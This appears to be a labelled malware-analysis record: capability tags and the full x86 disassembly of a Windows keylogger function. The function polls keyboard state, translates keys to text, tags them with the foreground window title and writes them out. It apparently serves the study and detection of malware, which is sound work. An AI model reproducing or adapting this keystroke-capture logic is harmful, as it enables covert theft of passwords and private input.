Function at 0x402df4
Capabilities:
Get graphical window text
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
lea eax, [ebp - 0x188]
push ebx
push esi
push edi
push 0x100
xor edi, edi
push edi
push eax
call fcn.00409fd0
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
add esp, 0xc
push 0x14
call esi
push 0x91
call esi
lea eax, [ebp - 0x288]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov esi, dword [ebp + 8]
cmp esi, 0x21
ja 0x402e83
je 0x40305b
mov eax, esi
sub eax, 8
je 0x402e6a
sub eax, 1
je 0x40305b
sub eax, 4
je 0x40305b
sub eax, 3
je 0x40305b
sub eax, 0xb
jmp 0x402eac
lea eax, [ebp - 0x88]
push 0x41f3cc
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
pop ecx
pop ecx
jmp 0x402f19
mov eax, esi
sub eax, 0x22
je 0x40305b
sub eax, 3
je 0x40305b
sub eax, 1
je 0x40305b
sub eax, 1
je 0x40305b
sub eax, 1
je 0x40305b
mov ebx, dword [sym.imp.USER32.dll_MapVirtualKeyA]
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp - 0x288]
push eax
push edi
push esi
call ebx
push eax
push esi
call dword [sym.imp.USER32.dll_ToAscii]
cmp eax, 1
jne 0x402ee1
movsx eax, byte [ebp - 4]
push eax
push 0x41f3d0
jmp 0x402f09
push 0x20
lea eax, [ebp - 0x24]
push eax
push edi
push esi
call ebx
movzx eax, ax
shl eax, 0x10
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
test eax, eax
jle 0x40305b
lea eax, [ebp - 0x24]
push eax
push str.__s_
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp eax, 1
jne 0x40305b
push 0x78
mov ebx, 0x428a80
push ebx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0x428b80
mov eax, ebx
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402f5c
test dl, dl
je 0x402f61
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402f5c
add eax, 2
add ecx, 2
test dl, dl
jne 0x402f3e
jmp 0x402f61
sbb edi, edi
or edi, 1
test edi, edi
je 0x403042
push 0xa
pop eax
mov word [ebp - 0x188], ax
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402f75
lea edi, [ebp - 0x188]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402f85
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x188]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x402fa2
mov ax, word [0x41f3dc]
mov word [ecx], ax
mov al, byte [0x41f3de]
mov byte [ecx + 2], al
call fcn.00402c6b
mov edx, eax
mov esi, eax
mov al, byte [edx]
inc edx
test al, al
jne 0x402fc4
lea edi, [ebp - 0x188]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402fd4
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x188]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x402ff1
mov ax, word [0x41f3e0]
mov word [ecx], ax
mov al, byte [0x41f3e2]
mov byte [ecx + 2], al
lea ecx, [ebp - 0x188]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403013
sub ecx, edx
lea eax, [ebp - 0x188]
push ecx
push eax
push dword [ebp + 0xc]
call fcn.0040391f
add esp, 0xc
xor ecx, ecx
mov al, byte [ecx + 0x428a80]
mov byte [ecx + 0x428b80], al
inc ecx
test al, al
jne 0x403031
push 1
lea eax, [ebp - 0x88]
push eax
push dword [ebp + 0xc]
call fcn.0040391f
add esp, 0xc
or eax, 0xffffffff
jmp 0x40305d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret